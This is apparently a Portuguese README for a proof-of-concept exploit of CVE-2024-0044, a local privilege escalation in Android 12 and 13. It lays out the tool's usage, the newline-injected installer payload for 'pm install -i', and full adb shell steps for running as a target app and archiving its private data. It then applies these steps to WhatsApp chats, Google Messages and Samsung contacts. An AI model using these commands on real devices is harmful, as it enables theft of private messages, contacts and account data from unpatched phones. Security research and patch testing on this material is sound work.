
CVE-2024-0044: a "run-as any app" high-severity vulnerability affecting Android versions 12 and 13
O CVE-2024-0044, identificado na função createSessionInternal do arquivo PackageInstallerService.java, é uma vulnerabilidade de alta gravidade que afeta as versões 12 e 13 do Android. Essa vulnerabilidade permite que um invasor realize um ataque "run-as any app", resultando em escalada local de privilégios sem exigir interação do usuário. O problema surge devido à validação inadequada de entrada na função createSessionInternal. Um invasor pode explorar isso manipulando o processo de criação de sessão, potencialmente obtendo acesso não autorizado a dados confidenciais e realizando ações não autorizadas no dispositivo afetado.
A exploração foi descoberta pela Meta security
A prova de conceito foi resumida e compartilhada pelo Tiny hack
Detalhes sobre o patch de segurança podem ser encontrados no Boletim de segurança do Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P é usado para especificar o nome do pacote alvo que você deseja executar como
-A para especificar o arquivo APK a ser enviado para o dispositivo
Execute a ferramenta:
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Um arquivo payload.txt como este será gerado:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success após o último comando.pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Crie um diretório temporário: mkdir /data/local/tmp/wa/
Crie um placeholder para um arquivo tar: touch /data/local/tmp/wa/wa.tar
Defina permissões amplas: chmod -R 0777 /data/local/tmp/wa/ para garantir que qualquer usuário possa ler, escrever e executar neste diretório.
Altere o contexto do usuário: run-as victim para obter as mesmas permissões do usuário "victim".
Arquive os dados do aplicativo alvo: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, criando um tarball do diretório de dados do WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Você pode extrair os dados usando 7z ou qualquer outra ferramenta.
Você pode usar o Whatsapp chat exporter para converter para HTML.
Isso permite obter dados do WhatsApp sem acesso root no seu dispositivo.
Basta alterar o nome do pacote conforme abaixo:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Downloads/F-Droid.apk
Siga as instruções acima e, após extrair o arquivo wa.tar, descompacte-o e abra as conversas em com.google.android.apps.messaging/databases/bugle_db usando o sqlitebrowser ou qualquer outra ferramenta.
Testado em dispositivo Samsung. Para outros dispositivos, verifique o nome do pacote do provedor de contatos.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Siga as instruções acima e, após extrair o arquivo wa.tar, descompacte-o e abra os contatos em com.samsung.android.providers.contacts/databases/contacts2.db usando o sqlitebrowser ou qualquer outra ferramenta. O arquivo db contém todas as informações de contas de e-mail do usuário junto com a lista de contatos.